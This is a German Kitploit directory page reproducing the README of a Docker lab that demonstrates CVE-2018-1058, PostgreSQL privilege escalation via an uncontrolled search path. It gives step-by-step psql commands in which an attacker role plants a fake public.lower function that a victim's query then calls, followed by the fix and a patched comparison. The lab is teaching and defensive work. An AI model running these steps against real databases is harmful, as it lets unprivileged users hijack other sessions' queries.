Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2018-1058 — Reproduzierbare Docker-basierte Demonstration von CVE-2018-1058 PostgreSQL Privilegieneskalation über unkontrollierten Suchpfad, mit Vergleich zwischen verwundbarer und gepatchter Umgebung. | Kitploit
Tools/GitHubGitHub/ccchme/cve-2018-1058
Privilege EscalationSchwachstellenanalyseExploitationLernen & BildungDatenbanksicherheitLabs & Praxis
GitHubccchme/cve-2018-1058

CVE-2018-1058

Reproduzierbare Docker-basierte Demonstration von CVE-2018-1058 PostgreSQL Privilegieneskalation über unkontrollierten Suchpfad, mit Vergleich zwischen verwundbarer und gepatchter Umgebung.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2018-1058 – PostgreSQL Search Path Demonstration

Dieses Repository enthält den Abschlussbericht und die Reproduzierbarkeitsartefakte für:

CVE-2018-1058: Privilege Escalation in PostgreSQL durch unkontrollierten Suchpfad

Ziel ist es, den Search-Path-Vertrauensfehler hinter CVE-2018-1058 mittels einer sicheren lokalen Docker-Umgebung zu demonstrieren.

Die Demo reproduziert nicht den exakten historischen Ausführungspfad von pg_dump. Stattdessen reproduziert sie dieselbe Grundursache, die in der PostgreSQL-Dokumentation beschrieben wird: Ein angreiferbeschreibbares Schema enthält ein ähnlich aussehendes Objekt, und eine andere Session löst einen nicht qualifizierten Namen in dieses Objekt auf.


1. Inhalt

root@kitploit:~
.
├── report.pdf
├── docker-compose.yml
├── README.md
└── scripts/
    ├── init.sql
    ├── init_safe.sql
    ├── exploit.sql
    ├── victim_query.sql
    ├── verify_qualify.sql
    └── fix.sql

Der Abschlussbericht ist report.pdf. Er enthält die schriftliche Analyse und die Screenshots, die den unten erwarteten Ausgaben entsprechen.

Es wird kein Dockerfile benötigt. Das Projekt verwendet offizielle postgres-Images.

Die Screenshots sind direkt in report.pdf eingebettet, daher werden sie nicht als separate Bilddateien bereitgestellt.

2. Anforderungen

Installieren:

  • Docker
  • Docker Compose
  • psql-Client (optional, aber empfohlen)

Die Demo verwendet zwei PostgreSQL-Container:

Stellen Sie sicher, dass die Ports 15432 und 15433 frei sind.

Kurze Übersicht zur Ausführung

Die erwartete Ausführungsreihenfolge ist:

  1. Starten Sie den angreifbaren PostgreSQL 10.2-Dienst.
  2. Führen Sie exploit.sql als attacker aus.
  3. Führen Sie victim_query.sql als victim aus und beobachten Sie das Präfix CVE-2018-1058 DEMO:.
  4. Führen Sie verify_qualify.sql als victim aus und beobachten Sie normale Kleinbuchstaben-Ausgabe.
  5. Führen Sie fix.sql als postgres aus.
  6. Führen Sie victim_query.sql erneut aus und beobachten Sie normale Kleinbuchstaben-Ausgabe.
  7. Starten Sie den gehärteten PostgreSQL 10.3-Dienst.
  8. Führen Sie exploit.sql auf Port 15433 erneut aus und beobachten Sie permission denied for schema public.

3. Starten der angreifbaren Umgebung

root@kitploit:~
docker compose up -d pg_vulnerable
docker compose ps

Erwartetes Ergebnis: Der Dienst pg_vulnerable sollte laufen und auf Port 15432 gemappt sein.

Überprüfen Sie die PostgreSQL-Version:

root@kitploit:~
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "SELECT version();"

Erwartetes Ergebnis: PostgreSQL 10.2.

4. Datenbankrollen anzeigen

root@kitploit:~
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "\du"

Erwartete Rollen:

  • postgres
  • attacker
  • victim

Der Angreifer ist kein PostgreSQL-Superuser.

5. Ausführen des Exploits

Führen Sie das Angreifer-Skript aus:

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql

Erwartete Ausgabe:

root@kitploit:~
CREATE TABLE
GRANT
GRANT
CREATE FUNCTION

Dies erstellt:

  • eine harmlose Tabelle public.exploit_log;
  • eine gefälschte Funktion public.lower(varchar).

6. Angreifbares Verhalten als Opfer auslösen

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql

Erwartete Ausgabe:

root@kitploit:~
CVE-2018-1058 DEMO: Alice Demo
CVE-2018-1058 DEMO: Bob Demo

Dies zeigt, dass die normale Abfrage des Opfers lower(...) in die vom Angreifer kontrollierte Funktion aufgelöst hat.

7. Nebenwirkung bestätigen

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-c "TABLE public.exploit_log;"

Erwartetes Ergebnis: Mindestens zwei Zeilen in public.exploit_log, eine für jede Zeile, die von der Opfer-Abfrage verarbeitet wurde.

8. Defensive Qualifikation zeigen

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/verify_qualify.sql

Erwartete Ausgabe:

root@kitploit:~
alice demo
bob demo

Dies funktioniert, weil pg_catalog.lower(...) PostgreSQL zwingt, die eingebaute Funktion zu verwenden.

9. Fix auf dem angreifbaren Container anwenden

root@kitploit:~
PGPASSWORD='postgres' \
psql -h 127.0.0.1 -p 15432 -U postgres -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/fix.sql

Erwartete Ausgabe kann Folgendes enthalten:

root@kitploit:~
DROP FUNCTION
DROP TABLE
REVOKE
REVOKE

Führen Sie dann die Opfer-Abfrage erneut aus:

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql

Erwartete Ausgabe:

root@kitploit:~
alice demo
bob demo

Die vom Angreifer kontrollierte Funktion ist entfernt, und die Abfrage gibt normale Kleinbuchstaben-Strings zurück.

10. Starten der gehärteten Umgebung

root@kitploit:~
docker compose up -d pg_fixed
docker compose ps

Überprüfen Sie die Version:

root@kitploit:~
docker exec -it cve1058_pg_fixed psql -U postgres -d demo_cve1058 -c "SELECT version();"

Erwartetes Ergebnis: PostgreSQL 10.3.

11. Überprüfen, dass der Exploit in der gehärteten Umgebung fehlschlägt

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15433 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql

Erwartete Ausgabe:

root@kitploit:~
ERROR: permission denied for schema public

Dies bedeutet, dass der Angreifer die gefälschte Funktion in public nicht erstellen kann, sodass die Angriffskette vor der Namensauflösung stoppt.

12. Bereinigung

Um die Container zu stoppen:

root@kitploit:~
docker compose down

Um Volumes zu entfernen und das Projekt vollständig zurückzusetzen:

root@kitploit:~
docker compose down -v

13. Hinweise

Diese Demo ist absichtlich harmlos. Sie stiehlt keine Daten, greift nicht auf Dateien zu und führt keine Betriebssystembefehle aus.

Der Exploit verwendet ein sichtbares String-Präfix und eine Log-Tabelle, um zu beweisen, dass PostgreSQL einen nicht qualifizierten Funktionsnamen in ein vom Angreifer kontrolliertes Objekt aufgelöst hat.

Das offizielle CVE betrifft pg_dump und andere Client-Anwendungen. Dieses Repository demonstriert denselben Search-Path-Vertrauensfehler in einer sicheren und reproduzierbaren Unterrichtsumgebung.

14. Fehlerbehebung

Wenn ein Port bereits belegt ist, stoppen Sie einen lokalen PostgreSQL-Dienst oder ändern Sie die Host-Ports in docker-compose.yml.

Wenn die Ausgabe nicht mit den erwarteten Ergebnissen übereinstimmt, setzen Sie die Umgebung zurück mit:

root@kitploit:~
docker compose down -v
docker compose up -d pg_vulnerable

Wenn psql nicht lokal installiert ist, können die Befehle zur Versions- und Rollenüberprüfung dennoch mit docker exec innerhalb der Container ausgeführt werden.

Wenn der Exploit auf pg_vulnerable fehlschlägt, stellen Sie sicher, dass die Datenbank zurückgesetzt wurde und dass scripts/exploit.sql vor scripts/fix.sql ausgeführt wird.

15. Referenzen

  • PostgreSQL CVE-2018-1058 Advisory: https://www.postgresql.org/support/security/CVE-2018-1058/
  • PostgreSQL Wiki, A Guide to CVE-2018-1058: https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058:_Protect_Your_Search_Path
  • PostgreSQL 10.3 Release Notes: https://www.postgresql.org/docs/release/10.3/
  • NVD CVE-2018-1058: https://nvd.nist.gov/vuln/detail/CVE-2018-1058
  • MITRE CVE-2018-1058: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1058
Tool herunterladen
DienstVersionContainernameHost-PortZweck
pg_vulnerablePostgreSQL 10.2cve1058_pg_vulnerable15432Angreifbare Demonstration
pg_fixedPostgreSQL 10.3cve1058_pg_fixed15433Gepatchte/gehärtete Vergleichsumgebung